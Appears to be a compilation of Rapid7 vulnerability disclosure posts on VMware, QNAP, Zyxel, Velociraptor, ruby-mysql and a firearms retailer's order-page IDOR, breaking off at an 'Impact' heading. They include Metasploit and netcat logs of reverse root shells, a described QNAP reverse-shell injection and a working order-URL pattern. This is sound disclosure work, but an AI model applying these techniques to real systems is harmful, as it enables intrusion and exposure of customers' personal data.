July 05, 2022 – Rapid7 asks for an update on CVE-2021-1585 patch bypass.
July 25, 2022 – Cisco provides Rapid7 with test versions of ASDM.
July 26, 2022 – Rapid7 downloads the test version of ASDM.
August 1, 2022 – Rapid7 lets Cisco know that team time constraints may prevent us from completing testing.
August 1, 2022 – Cisco acknowledges.
August 10, 2022 – Rapid7 updates Cisco on publication timing and reconfirms inability to complete testing of new build.
August 11, 2022 – Cisco communicates to Rapid7 that they have released new Software images for ASA (9.18.2, 9.17.1.13, 9.16.3.19) and ASDM (7.18.1.152) and updated the advisories for CVE-2022-20829 and CVE-2021-1585 to note that the vulnerabilities have been resolved.
August 11, 2022 – Rapid7 acknowledges, notifies Cisco that we are unable to verify the latest round of fixes before materials go to press.
August 11, 2022 – This document is published.
August 11, 2022 – Rapid7 presents materials at Black Hat USA.
August 13, 2022 – Rapid7 presents materials at DEF CON.
Rapid7 customers
Authenticated checks were made available to InsightVM and Nexpose customers for the following CVEs in July 2022 based on Cisco’s security advisories:
Please note: Shortly before this blog’s publication, Cisco released new ASA and ASDM builds and updated their advisories to indicate that remediating CVE-2021-1585 and CVE-2022-20829 requires these newer versions. We are updating our vulnerability checks to reflect that these newer versions contain what Cisco has communicated to be the proper fixes.
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The VMware Workspace ONE Access, Identity Manager, and vRealize Automation products contain a locally exploitable vulnerability whereby the under-privileged horizon user can escalate their permissions to those of the root user. Notably, the horizon user runs the externally accessible web application. This means that remote code execution (RCE) within that component could be chained with this vulnerability to obtain remote code execution as the root user. At the time of this writing, CVE-2022-22954 is one such RCE vulnerability (that notably has a corresponding Metasploit module here) that can be easily chained with one or both of the issues described herein.
Product description
VMWare Workspace ONE Access is a platform that provides organizations with the means to provide their employees fast and easy access to applications they need. VMware Workspace ONE Access was formerly known as VMware Identity Manager.
Impact
These vulnerabilities are local privilege escalation flaws, and by themselves, present little risk in an otherwise secure environment. In both cases, the local user must be horizon for successful exploitation.
That said, it’s important to note that the horizon user runs the externally accessible web application, which has seen several recent vulnerabilities — namely CVE-2022-22954, which, when exploited, allows for remote code execution as the horizon user. Thus, chaining an exploit for CVE-2022-22954 with either of these vulnerabilities can allow a remote attacker to go from no access to root access in two steps.
Credit
These issues were disclosed by VMware on Tuesday, August 2, 2022 within the VMSA-2022-0021 bulletin. In June, Spencer McIntyre of Rapid7 discovered these issues while researching an unrelated vulnerability. They were disclosed in accordance with Rapid7’s vulnerability disclosure policy.
CVE-2022-31660
CVE-2022-31660 arises from the fact that the permissions on the file /opt/vmware/certproxy/bin/cert-proxy.sh are such that the horizon user is both the owner and has access to invoke this file.
To demonstrate and exploit this vulnerability, that file is overwritten, and then the following command is executed as the horizon user:
Note that, depending on the patch level of the system, the certproxyService.sh script may be located at an alternative path and require a slightly different command:
In both cases, the horizon user is able to invoke the certproxyService.sh script from sudo without a password. This can be verified by executing sudo -n --list. The certproxyService.sh script invokes the systemctl command to restart the service based on its configuration file. The service configuration file, located at /run/systemd/generator.late/vmware-certproxy.service, dispatches to /etc/rc.d/init.d/vmware-certproxy through the ExecStart and ExecStop directives, which in turn executes /opt/vmware/certproxy/bin/cert-proxy.sh.
Proof of concept
To demonstrate this vulnerability, a Metasploit module was written and submitted on GitHub in PR #16854.
With an existing Meterpreter session, no options other than the SESSION need to be specified. Everything else will be automatically determined at runtime. In this scenario, the original Meterpreter session was obtained with the module for CVE-2022-22954, released earlier this year.
[*] Sending stage (40132 bytes) to 192.168.159.98
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.98:42312) at 2022-08-02 16:26:16 -0400
meterpreter > sysinfo
Computer : photon-machine
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > getuid
Server username: horizon
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > set SESSION -1
SESSION => -1
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > run
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Backing up the original file...
[*] Writing '/opt/vmware/certproxy/bin/cert-proxy.sh' (601 bytes) ...
[*] Triggering the payload...
[*] Sending stage (40132 bytes) to 192.168.250.237
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 192.168.250.237:63493) at 2022-08-02 16:26:57 -0400
[*] Restoring file contents...
[*] Restoring file permissions...
meterpreter > getuid
Server username: root
meterpreter >
CVE-2022-31661
CVE-2022-31660 arises from the fact that the /usr/local/horizon/scripts/getProtectedLogFiles.hzn script can be run with root privileges without a password using the sudo command. This script in turn will recursively change the ownership of a user-supplied directory to the horizon user, effectively granting them write permissions to all contents.
To demonstrate and exploit this vulnerability, we can execute the following command as the horizon user:
At this point, the horizon user has write access (through ownership) to a variety of scripts that also have the right to invoke using sudo without a password. These scripts can be verified by executing sudo -n --list. A careful attacker would have backed up the ownership information for each file in the directory they intend to target and restored them once they had obtained root-level permissions.
The root cause of this vulnerability is that the exportProtectedLogs subcommand invokes the getProtectedLogs function that will change the ownership information to the TOMCAT_USER, which happens to be horizon.
Users should apply patches released in VMSA-2022-0021 to remediate these vulnerabilities. If they are unable to, users should segment the appliance from remote access, especially if known issues in the web front end like CVE-2022-22954 also remain unpatched.
Note that fixing these vulnerabilities helps shore up internal, local defenses against attacks targeting external interfaces. For practical purposes, these issues are merely internal, local privilege escalation issues, so enterprises running VMWare Workspace One Access installations with current patch levels should schedule updates addressing these issues as part of routine patch cycles.
Rapid7 customers
InsightVM and Nexpose customers can assess their exposure to vulnerabilities described in VMSA-2022-0021 with authenticated, version-based coverage released on August 4, 2022 (ContentOnly-content-1.1.2606-202208041718).
Disclosure timeline
May 20, 2022 – Issue discovered by Spencer McIntyre of Rapid7
June 28, 2022 – Rapid7 discloses the vulnerability to VMware
June 29, 2022 – VMware acknowledges receiving the details and begins an * investigation
June 30, 2022 – VMware confirms that they have reproduced the issues, requests that Rapid7 not involve CERT for simplicity’s sake
July 1, 2022 – Rapid7 replies, agreeing to leave CERT out
July 22, 2022 – VMware states they will publish an advisory once the issues have been fixed, asks whom to credit
July 22, 2022 – Rapid7 responds confirming credit, inquires about a target date for a fix
August 2, 2022 – VMware discloses these vulnerabilities as part of VMSA-2022-0021 (without alerting Rapid7 of pending disclosure)
August 2, 2022 – Metasploit module submitted on GitHub in PR #16854
August 5, 2022 – This disclosure blog
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CVE-2020-2509 was added to CISA’s Known Exploited Vulnerabilities Catalog in April 2022, and it was listed as one of the “Additional Routinely Exploited Vulnerabilities in 2021” in CISA’s 2021 Top Routinely Exploited Vulnerabilities alert. However, CVE-2020-2509 has no public exploit, and no other organizations have publicly confirmed exploitation in the wild.
CVE-2020-2509 is allegedly an unauthenticated remote command injection vulnerability affecting QNAP Network Attached Storage (NAS) devices using the QTS operating system. The vulnerability was discovered by SAM and publicly disclosed on March 31, 2021. Two weeks later, QNAP issued a CVE and an advisory.
Neither organization provided a CVSS vector to describe the vulnerability. QNAP’s advisory doesn’t even indicate the vulnerable component. SAM’s disclosure says they found the vulnerability when they “fuzzed” the web server’s CGI scripts (which is not generally the way you discover command injection vulnerabilities, but I digress). SAM published a proof-of-concept video that allegedly demonstrates exploitation of the vulnerability, although it doesn’t appear to be a typical straightforward command injection. The recorded exploit downloads BusyBox to establish a reverse shell, and it appears to make multiple requests to accomplish this. That’s many more moving parts than a typical command injection exploit. Regardless, beyond affected versions, there are essentially no usable details for defender or attackers in either disclosure.
Given the ridiculous amount of internet-facing QNAP NAS (350,000+), seemingly endless ransomware attacks on the systems (Qlocker, Deadbolt, and Checkmate), and the mystery surrounding alleged exploitation in the wild of CVE-2020-2509, we decided to find out exactly what CVE-2020-2509 is. Instead, we found the below, which may be an entirely new vulnerability.
Poisoned XML command injection (CVE-2022-XXXX)
The video demonstrates exploitation of an unauthenticated and remote command injection vulnerability on a QNAP TS-230 running QTS 4.5.1.1480 (reportedly the last version affected by CVE-2020-2509). We were unable to obtain the first patched version, QTS 4.5.1.1495, but we were able to confirm this vulnerability was patched in QTS 4.5.1.1540. However, we don’t think this is CVE-2020-2509. The exploit in the video requires the attacker be a man-in-the-middle or have performed a DNS hijack of update.qnap.com. In the video, our lab network’s Mikrotik router has a malicious static DNS entry for update.qnap.com.
SAM and QNAP’s disclosures didn’t mention any type of man-in-the-middle or DNS hijacks. But neither disclosure ruled it out either. CVSS vectors are great for this sort of thing. If either organization had published a vector with an Attack Complexity of high, we’d know this “new” vulnerability is CVE-2020-2509. If they’d published a vector with Attack Complexity of low, we’d know this “new” vulnerability is not CVE-2020-2509. The lack of a vector leaves us unsure. Only CISA’s claim of widespread exploitation leads us to believe this is not is CVE-2020-2509. However, this “new” vulnerability is still a high-severity issue. It could reasonably be scored as CVSSv3 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H). While the issue was patched 15 to 20 months ago (patches for CVE-2021-2509 were released in November 2020 and April 2021), there are still thousands of internet-facing QNAP devices that remain unpatched against this “new” issue. As such, we are going to describe the issue in more detail.
Exploitation and patch
The “new” vulnerability can be broken down into two parts:
A remote and unauthenticated attacker can force a QNAP device to make an HTTP request to update.qnap.com, without using SSL, in order to download an XML file. Content from the downloaded XML file is passed to a system call without any sanitization.
Both of these issues can be found in the QNAP’s web server cgi-bin executable authLogin.cgi, but the behavior is triggered by a request to /cgi-bin/qnapmsg.cgi. Below is decompiled code from authLogin.cgi that highlights the use of HTTP to fetch a file.
Using wget, the QNAP device will download a language-specific XML file such as http://update.qnap.com/loginad/qnapmsg_eng.xml, where eng can be a variety of different values (cze, dan, ger, spa, fre, ita, etc.). When the XML has been downloaded, the device then parses the XML file. When the parser encounters <img> tags, it will attempt to download the associated image using wget.
The <img> value is added to a wget command without any type of sanitization, which is a very obvious command injection issue.
The XML, if downloaded straight from QNAP, looks like the following (note that it appears to be part of an advertisement system built into the device):
Because of the command injection issue, a malicious attacker can get a reverse shell by providing an XML file that looks like the following. The command injection is performed with backticks, and the actual payload (a bash reverse shell using /dev/tcp) is base64 encoded because / is a disallowed character.
An attacker can force a QNAP device to download the XML file by sending the device an HTTP request similar to http://device_ip/cgi-bin/qnapmsg.cgi?lang=eng. Here, again, eng can be replaced by a variety of languages.
Obviously, the number one challenge to exploit this issue is getting the HTTP requests for update.qnap.com routed to an attacker-controlled system.
Becoming a man-in-the-middle is not easy for a normal attacker. However, APT groups have consistently demonstrated that man-in-the-middle attacks are a part of normal operations. VPNFilter, FLYING PIG, and the Iranian Digator incident are all historical examples of APT attacking (or potentially attacking) via man-in-the-middle. An actor that has control of any router between the QNAP and update.qnap.com can inject the malicious XML we provided above. This, in turn, allows them to execute arbitrary code on the QNAP device.
The other major attack vector is via DNS hijacking. For this vulnerability, the most likely DNS hijack attacks that don’t require man-in-the-middling are router DNS hijack or third-party DNS server compromise. In the case of a router DNS hijack, the attacker exploits a router and instructs it to tell all connected devices to use a malicious DNS server or malicious static routes (similar to our lab setup). Third-party DNS server compromise is more interesting because of its ability to scale. Both Mandiant and Talos have observed this type of DNS hijack in the wild. When a third-party DNS server is compromised, an attacker is able to introduce malicious entries to the DNS server.
So, while there is some complexity to exploiting this issue, those complications are easily defeated by a moderately skilled attacker — which calls into question why QNAP didn’t issue an advisory and CVE for this issue. Presumably they knew about the vulnerability, because they made two changes to fix it. First, the insecure HTTP request for the XML was changed to a secure HTTPS request. That prevents all but the most advanced attackers from masquerading as update.qnap.com. Additionally, the image download logic was updated to use an execl wrapper called qnap_exec instead of system, which mitigates command injection issues.
Indicators of compromise
This attack does leave indicators of compromise (IOCs) on disk. A smart attacker will clean up these IOCs, but they may be worth checking for. The downloaded XML files are downloaded to /home/httpd/RSS/rssdoc/. The following is an example of the malicious XML from our proof-of-concept video:
Similarly, an attack can leave an sh process hanging in the background. Search for malicious ones using ps | grep wget. If you see anything like the following, it’s a clear IOC:
Perhaps what we’ve described here is in part CVE-2020-2509, and that explains the lack of advisory from QNAP. Or maybe it’s one of the many other command injections that QNAP has assigned a CVE but failed to describe, and therefore denied users the chance to make informed choices about their security. It’s impossible to know because QNAP publishes almost no details about any of their vulnerabilities — a practice that might thwart some attackers, but certainly harms defenders trying to identify and monitor these attacks in the wild, as well as defenders who have to help clean up the myriad ransomware cases that are affecting QNAP devices.
SAM did not owe us a good disclosure (which is fortunate, because they didn’t give us one), but QNAP did. SAM was successful in ensuring the issue got fixed, and they held the vendor to a coordinated disclosure deadline (which QNAP consequently failed to meet). We should all be grateful to SAM: Even if their disclosure wasn’t necessarily what we wanted, we all benefited from their work. It’s QNAP that owes us, the customers and security industry, good disclosures. Vendors who are responsible for the security of their products are also responsible for informing the community of the seriousness of vulnerabilities that affect those products. When they fail to do this — for example by failing to provide advisories with basic descriptions, affected components, and industry-standard metrics like CVSS — they deny their current and future users full autonomy over the choices they make about risk to their networks. This makes us all less secure.
Disclosure timeline
July, 2022: Researched and discovered by Jake Baines of Rapid7
Thu, Jul 28, 2022: Disclosed to QNAP, seeking a CVE ID
Sun, Jul 31, 2022: Automated response from vendor indicating they have moved to a new support ticket system and ticket should be filed with that system. Link to new ticketing system merely sends Rapid7 to QNAP’s home page.
Tue, Aug 2, 2022: Rapid7 informs QNAP via email that their support link is broken and Rapid7 will publish this blog on August 4, 2022.
Tue, Aug 2, 2022: QNAP responds directing Rapid7 to the advisory for CVE-2020-2509.
Thu, Aug 4, 2022: This public disclosure
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The Primary Arms website, a popular e-commerce site dealing in firearms and firearms-related merchandise, suffers from an insecure direct object reference (IDOR) vulnerability, which is an instance of CWE-639: Authorization Bypass Through User-Controlled Key.
Rapid7 is disclosing this vulnerability with the intent of providing information that has the potential to help protect the people who may be affected by it – in this case, Primary Arms users. Rapid7 regularly conducts vulnerability research and disclosure on a wide variety of technologies with the goal of improving cybersecurity. We typically disclose vulnerabilities to the vendor first, and in many cases, vulnerability disclosure coordinators like CERT/CC. In situations where our previous disclosure through the aforementioned channels does not result in progress towards a solution or fix, we disclose unpatched vulnerabilities publicly. In this case, Rapid7 reached out to Primary Arms and federal and state agencies multiple times over a period of months (see “Disclosure Timeline,” below), but the vulnerability has yet to be addressed.
Vulnerabilities in specific websites are usually unremarkable, don’t usually warrant a CVE identifier, and are found and fixed every day. However, Rapid7 has historically publicized issues that presented an outsized risk to specific populations, were popularly mischaracterized, or remained poorly addressed by those most responsible. Some examples that leap to mind are the issues experienced by Ashley Madison and Grindr users, as well as a somewhat similar Yopify plugin issue for Shopify-powered e-commerce sites.
If exploited, this vulnerability has the potential to allow an authorized user to view the personally identifiable information (PII) of Primary Arms customers, including their home address, phone number, and tracking information of purchases. Note that “authorized users” includes all Primary Arms customers, and user account creation is free and unrestricted.
Because this is a vulnerability on a single website, no CVE identifier has been assigned for this issue. We estimate the CVSSv3.1 calculation to be 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) or 5.3 (PR:N) if one considers this vulnerability is exploitable by any person able to complete a web form.
Product description
Primary Arms is an online firearms and firearms accessories retailer based in Houston, Texas. According to their website, they cater to “firearms enthusiasts, professional shooters, and servicemen and women” and ship firearms to holders of a Federal Firearms License (FFL). The website is built withNetSuite SuiteCommerce.
Discoverer
This issue was discovered by a Rapid7 security researcher and penetration tester through the normal course of personal business as a customer of Primary Arms. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Exploitation
An authenticated user can inspect the purchase information of other Primary Arms customers by manually navigating to a known or guessed record sales order URL, as demonstrated in the series of screenshots below.
First, in order to demonstrate the vulnerability, I created an account with the username [email protected], which I call “FakeTod FakeBeardsley.”
Note that FakeTod has no purchase history:
Next, I’ll simply navigate to the URL of a real purchase, made under my “real” account. An actual attacker would need to learn or guess this URL, which may be easy or difficult (see Impact, below). The screenshot below is a (redacted) view of that sales order receipt.
The redacted URL is hxxps://www.primaryarms.com/sca-dev-2019-2/my_account.ssp#purchases/view/salesorder/85460532, and the final 8-digit salesorder value is the insecure direct object reference. In this case, we can see:
Customer name
Purchased item
Last four digits and issuer of the credit card used
Billing address and phone number
Manipulating this value produces other sets of PII from other customers, though the distribution is non-uniform and currently unknown (see below, under Impact, for more information).
If a given salesorder reference includes a shipped item, that tracking information is also displayed, as shown in this redacted example:
Depending on the carrier and the age of the ordered item, this tracking information could then be used to monitor and possibly intercept delivery of the shipped items.
Root cause
The landing page for primaryarms.com and other pages have this auto-generated comment in the HTML source:
This indicates a somewhat old version of SuiteCommerce, from 2019, being run in production. It’s hard to say for sure that this is the culprit of the issue, or even if this comment is accurate, but our colleagues at CERT/CC noticed that NetSuite released an update in 2020 that addressed CVE-2020-14728, which may be related to this IDOR.
Outside of this hint, the root cause of this issue is unknown at the time of this writing. It may be as straightforward as updating the local NetSuite instance, or there may be more local configuration needed to ensure that sales order receipts require proper authentication in order to read them.
Post-authentication considerations
Note that becoming an authenticated user is trivial for the Primary Arms website. New users are invited to create an account, and while a validly formatted email address is required, it is not authenticated. In the example gathered here, the simulated attacker, FakeTod, has the nonexistent email address of [email protected]. Therefore, there is no practical difference between an unauthenticated user and an authenticated user for the purpose of exploitation.
Impact
By exploiting this vulnerability, an attacker can learn the PII of likely firearms enthusiasts. However, exploiting this vulnerability at a reasonable scale may prove somewhat challenging.
Possible valid IDOR values
It is currently unknown how the salesorder values are generated, as Rapid7 has conducted very limited testing in order to merely validate the existence of the IDOR issue. We’re left with two possibilities.
It is the likely case that the salesorder values are sequential, start at a fixed point in the 8-digit space, and increment with every new transaction in a predictable way. If this is the case, exhausting the possible space of valid IDOR values is fairly trivial — only a few seconds to automate the discovery of newly created sales order records, and a few minutes to gather all past records. While limited testing indicates salesorder values are sequential, there are gaps in the sequence, likely due to abandoned and partial orders. We have not fully explored the attack surface of this issue out of an abundance of caution and restraint.
In the worst case (for the attacker), the numbers may be purely random out of a space of 100 million possibles. This seems unlikely according to Rapid7’s limited testing. If this is the case, however, exhausting the entire space for all records would take about two years, assuming an average of 100 queries per second (this probing would be noticeable by the website operators assuming normal website instrumentation).
The truth of the salesorder value generation is probably somewhere closer to the former than the latter, given past experience with similar bugs of this nature, which leads us to this disclosure in the interest of public safety, documented in the next section.
Possible attacks
We can imagine a few scenarios where attackers might find this collection of PII useful. The most obvious attack would be a follow-on phishing attack, identity theft, or other confidence scam, since PII is often useful in executing successful social engineering attacks. An attacker could pose as Primary Arms, another related organization, or the customer and be very convincing in such identity (to a third-party) when armed with the name, address, phone number, last four digits of a credit card, and recent purchase history.
Additionally, typical Primary Arms customers are self-identified firearms owners and enthusiasts. A recent data breach in June of 2022 involving California Conceal Carry License holders caused a stir among firearms enthusiasts, who worry that breach would lead to “increase the risk criminals will target their homes for burglaries.”
Indeed, if it is possible to see recent transactions (again, depending on how salesorder values are generated), especially those involving FFL holders, it may be possible for criminals to intercept firearms and firearms accessories in transit by targeting specific delivery addresses.
As mentioned above, it would appear that only Primary Arms is in a position to address this issue. We suspect this issue may be resolved by using a more current release of NetSuite SuiteCommerce. A similar e-commerce site, using similar technology but with a more updated version of SuiteCommerce, appears to not be subject to this specific attack technique, so it’s unlikely this is a novel vulnerability in the underlying web technology stack.
Customers affected by this issue are encouraged to try to contact Primary Arms, either by email to [email protected], or by calling customer service at +1 713.344.9600.
Disclosure timeline
At the time of this writing, Primary Arms has not been responsive to disclosure efforts by Rapid7, CERT/CC, or TX-ISAO.
May 2022 – Issue discovered by a Rapid7 security researcher
Mon, May 16, 2022 – Initial contact to Primary Arms at [email protected]
Wed, May 25, 2022 – Attempt to contact Primary Arms CTO via guessed email address
Wed, May 25, 2022 – Internal write-up of IDOR issue completed and validated
Thu, May 26, 2022 – Attempt to contact Primary Arms CEO via guessed email address
Tue, May 31, 2022 – Called customer support, asked for clarification on contact, reported issue
Thu, Jun 1, 2022 – Notified CERT/CC via [email protected] asking for advice
Fri, Jun 10, 2022 – Opened a case with CERT/CC, VRF#22-06-QFRZJ
Thu, Jun 16, 2022 – CERT/CC begins investigation and disclosure attempts, VU#615142
June-July 2022 – Collaboration with CERT/CC to validate and scope the issue
Mon, Jul 11, 2022 – Completed disclosure documentation presuming no contact from Primary Arms
Tue, Jul 12, 2022 – Sent a paper copy of this disclosure to Primary Arms via certified US mail, tracking number: 420770479514806664112193691642
Thu, Jul 14, 2022 – Disclosed details to the Texas Information Sharing and Analysis Organization (TX-ISAO), Report #ISAO-CT-0052
Mon, Jul 18, 2022 – Paper copy received by Primary Arms
Tue, Aug 2, 2022 – This public disclosure
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This advisory covers a number of issues identified in Velociraptor and disclosed by a security code review performed by Tim Goddard from CyberCX. We also thank Rhys Jenkins for working with the Velociraptor team to identify and rectify these issues. All of these identified issues have been fixed as of Version 0.6.5-2, released July 26, 2022.
CVE-2022-35629: Velociraptor client ID spoofing
Velociraptor uses client IDs to identify each client uniquely. The client IDs are derived from the client’s own cryptographic key and so usually require this key to be compromised in order to spoof another client.
Due to a bug in the handling of the communication between the client and server, it was possible for one client, already registered with their own client ID, to send messages to the server claiming to come from another client ID. This may allow a malicious client to attribute messages to another victim client ID (for example, claiming the other client contained some indicator or other data).
The impact of this issue is low because a successful exploitation would require:
The malicious client to identify a specific host’s client ID – since client IDs are random, it is unlikely that an attacker could guess a valid client ID. Client IDs are also not present in network communications, so without access to the Velociraptor server, or indeed the host’s Velociraptor client writeback file, it is difficult to discover the client ID.
Each collection of new artifacts from the client contains a unique random “flow ID.” In order to insert new data into a valid collection, the malicious client will need to guess the flow ID for a valid current flow. Therefore, this issue is most likely to affect client event monitoring feeds, which do not contain random flow IDs.
CVE-2022-35630: Unsafe HTML injection in artifact collection report
Velociraptor allows the user to export a “collection report” in HTML. This is a standalone HTML file containing a summary of the collection. The server will generate the HTML file, and the user’s browser will download it. Users then open the HTML file from their local disk.
A cross-site scripting (XSS) issue in generating this report made it possible for malicious clients to inject JavaScript code into the static HTML file.
The impact of this issue is considered low because the file is served locally (i.e. from a file:// URL) and so does not have access to server cookies or other information (although it may facilitate phishing attacks). This feature is also not used very often.
CVE-2022-35631: Filesystem race on temporary files
The Velociraptor client uses a local buffer file to store data it is unable to deliver to the server quickly enough. Although the file is created with restricted permissions, the filename is predictable (and stored in the client’s configuration file).
On MacOS and Linux, it may be possible to perform a symlink attack by replacing this predictable file name with a symlink to another file and have the Velociraptor client overwrite the other file.
This issue can be mitigated by using an in-memory buffer mechanism instead, or specifying that the buffer file should be created in a directory only writable by root. Set the Client.local_buffer.filename_linux to an empty string, or a directory only writable by root.
By default, on Windows, the buffer file is stored in C:\Program Files\Velociraptor\Tools,which is created with restricted permissions only writable by Administrators. Therefore, Windows clients in the default configuration are not affected by this issue.
CVE-2022-35632: XSS in user interface
The Velociraptor GUI contains an editor suggestion feature that can be used to offer help on various functions. It can also display the description field of a VQL function, plugin or artifact. This field was not properly sanitized and can lead to cross-site scripting (XSS).
Prior to the 0.6.5 release, the artifact description was also sent to this function, but after 0.6.5, this is no longer the case for performance reasons.
On servers older than 0.6.5, an authenticated attacker with the ARTIFACT_WRITER permission (usually only given to administrators) could create an artifact with raw HTML in the description field and trigger this XSS. Servers with version 0.6.5 or newer are not affected by this issue.
Remediation
To remediate these vulnerabilities, Velociraptor users should upgrade their servers.
Disclosure timeline
July, 2022: Issues discovered by Tim Goddard from CyberCX
July 11, 2022: Vulnerabilities disclosed by CyberCX
Rapid7 discovered a local privilege escalation vulnerability affecting Zyxel firewalls. The vulnerability allows a low privileged user, such as nobody, to escalate to root on affected firewalls. To exploit this vulnerability, a remote attacker must first establish shell access on the firewall, for example by exploiting CVE-2022-30525.
The following table contains the known affected models.
Affected Model
USG FLEX 100, 100W, 200, 500, 700
USG20-VPN, USG20W-VPN
ATP 100, 200, 500, 700, 800
VPN 50, 100, 300, 1000
Patching CVE-2022-30525 and removing the firewall administration interface from the internet should significantly reduce the risk of this vulnerability being exploited.
Product Description
The affected firewalls are advertised for both small branch and corporate headquarter deployments. They offer VPN solutions, SSL inspection, web filtering, intrusion protection, email security, and advertise up to 5 Gbps throughput through the firewall.
CVE-2022-30526: Local Privilege Escalation
In our previous disclosure of CVE-2022-30525, we demonstrated an attack that allowed a remote and unauthenticated attacker to execute commands as nobody. CVE-2022-30526 allows nobody to become root. This is achieved using a suid binary named zysudo.suid.
bash-5.1$ zysudo.suid
zysudo.suid
Usage: zysudo.suid <command> <arg1> <arg2> ...
The maximum number of argument is 16
zysudo.suid allows a low privileged user to execute an allow-list of commands with root privileges. The allow list is fairly long:
The commands are executed using execv so command injection is a concern. The problem is that a few of these commands allow low-privileged attackers to overwrite files with arbitrary content. There are some other bad things in here (e.g. rm) but we’ll focus on file writing.
Much of the firewall’s filesystem is read-only squashfs. Simply modifying a binary that will be executed as root in /bin/, /sbin/ and the like isn’t an option. However, there is at least one file that an attacker can modify in order to reliably escalate to root: /var/zyxel/crontab.
/var/zyxel/crontab is the crontab file used by cron. An attacker can simply append a new job to the end of the crontab to get root privileges:
Above the attacker copies the active crontab to /tmp/. Then they use echo to create a new script called /tmp/exec_me. The new script, when executed, will start a reverse shell to 10.0.0.28:1270. Execution of the new script is appended to /tmp/crontab. Then /var/zyxel/crontab is overwritten with the malicious /tmp/crontab using zysudo.suid. cron will execute the appended command as root within the next 60 seconds:
albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.14 36836
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1# id
id
uid=0(root) gid=0(root) groups=0(root)
bash-5.1# uname -a
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
bash-5.1#
CVE-2022-30525 Patch Adoption
CVE-2022-30526 is only useful when used with another vulnerability, such as CVE-2022-30525. Rapid7 has been monitoring patch adoption on Shodan since CISA added the vulnerability to their Known Exploited Vulnerabilities Catalog. We are happy to note that patch adoption has continued to rise over time.
Zyxel released a fix for this issue on July 19, 2022. Please see Zyxel’s advisory for detailed patching information.
Disclosure Timeline
April 2022 – Discovered by Jake Baines
April 13, 2022 – Rapid7 discloses to [email protected]. Proposed disclosure date June 14, 2022.
April 14, 2022 – Zyxel acknowledges receipt.
April 20, 2022 – Rapid7 asks for an update and shares delight over “Here is how to pronounce ZyXEL’s name”.
April 21, 2022 – Zyxel acknowledges reproduction of the vulnerabilities.
April 29, 2022 – Zyxel disputes that the LPE is a vulnerability, instead calls it “a design flaw.”
April 29, 2022 – Rapid7 asks about CVE assignment, guidance on coordinated disclosure, and for the vendor to reconsider their stance on the LPE.
May 9, 2022 – Zyxel indicates fixing the LPE will take time. Asks Rapid7 to hold full disclosure until November.
May 9, 2022 – Rapid7 informs Zyxel of the intent to disclose this issue on June 14, 2022.
May 10, 2022 – Zyxel acknowledges and plans to coordinate. Assigns CVE-2022-30526.
May 11, 2022 – Rapid7 reaffirms plan to wait until June 14.
May 12, 2022 – Zyxel catches accidental mentions of LPE in planned disclosure for CVE-2022-30525.
May 12, 2022 – Rapid7 removes the reference.
May 23, 2022 – Zyxel says they are pushing disclosure for CVE-2022-30526 out to July 19.
May 23, 2022 – Rapid7 agrees to July 19 disclosure date.
July 19, 2022 – Zyxel publishes their advisory.
July 19, 2022 – Rapid7 publishes this advisory.
The ruby-mysql Ruby gem prior to version 2.10.0 maintained by Tomita Masahiro is vulnerable to an instance of CWE-610: Externally Controlled Reference to a Resource in Another Sphere, wherein a malicious MySQL server can request local file content from a client without explicit authorization from the user. The initial CVSSv3 estimate for this issue is 6.5. Note that this issue does not affect the much more popular mysql2 gem. This issue was fixed in ruby-mysql 2.10.0 on October 23, 2021, and users of ruby-mysql are urged to update.
Product description
The ruby-mysql Ruby gem is an implementation of a MySQL client. While it is far less popular than the mysql2 gem, it serves a particular niche audience of users that desire a pure Ruby implementation of MySQL client functionality without linking to an external library (as mysql2 does).
Credit
This issue was reported to Rapid7 by Hans-Martin Münch of MOGWAI LABS GmbH, initially as a Metasploit issue, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy after coordination with the upstream maintainer of this library, as well as JPCERT/CC and CERT/CC.
Exploitation
A malicious actor can read arbitrary files from a client that uses ruby-mysql to communicate to a rogue MySQL server and issue database queries. In these cases, the server has the option to create a database reply using the LOAD DATA LOCAL statement, which instructs the client to provide additional data from a local file readable by the client (and not a “local” file on the server). The easiest way to demonstrate this issue is to run an instance of Rogue-MySql-Server by Gifts and perform any database query using the vulnerable version of the mysql gem.
Note that this behavior is a defined and expected option for servers and is described in the documentation, quoted below:
Because LOAD DATA LOCAL is an SQL statement, parsing occurs on the server side, and transfer of the file from the client host to the server host is initiated by the MySQL server, which tells the client the file named in the statement. In theory, a patched server could tell the client program to transfer a file of the server’s choosing rather than the file named in the statement. Such a server could access any file on the client host to which the client user has read access. (A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL, so a more fundamental issue is that clients should not connect to untrusted servers.) [emphasis added]
So, the vulnerability is not so much a MySQL server or protocol issue, but a vulnerability in a client that does not at least provide an option to disable LOAD DATA LOCAL queries; this is the situation with version 2.9.14 and earlier versions of ruby-mysql.
There is also prior work on this type of issue, and interested readers should refer to Knownsec 404 Team‘s article describing the issue for a thorough understanding of the dangers of LOAD DATA LOCAL and untrusted MySQL servers.
Impact
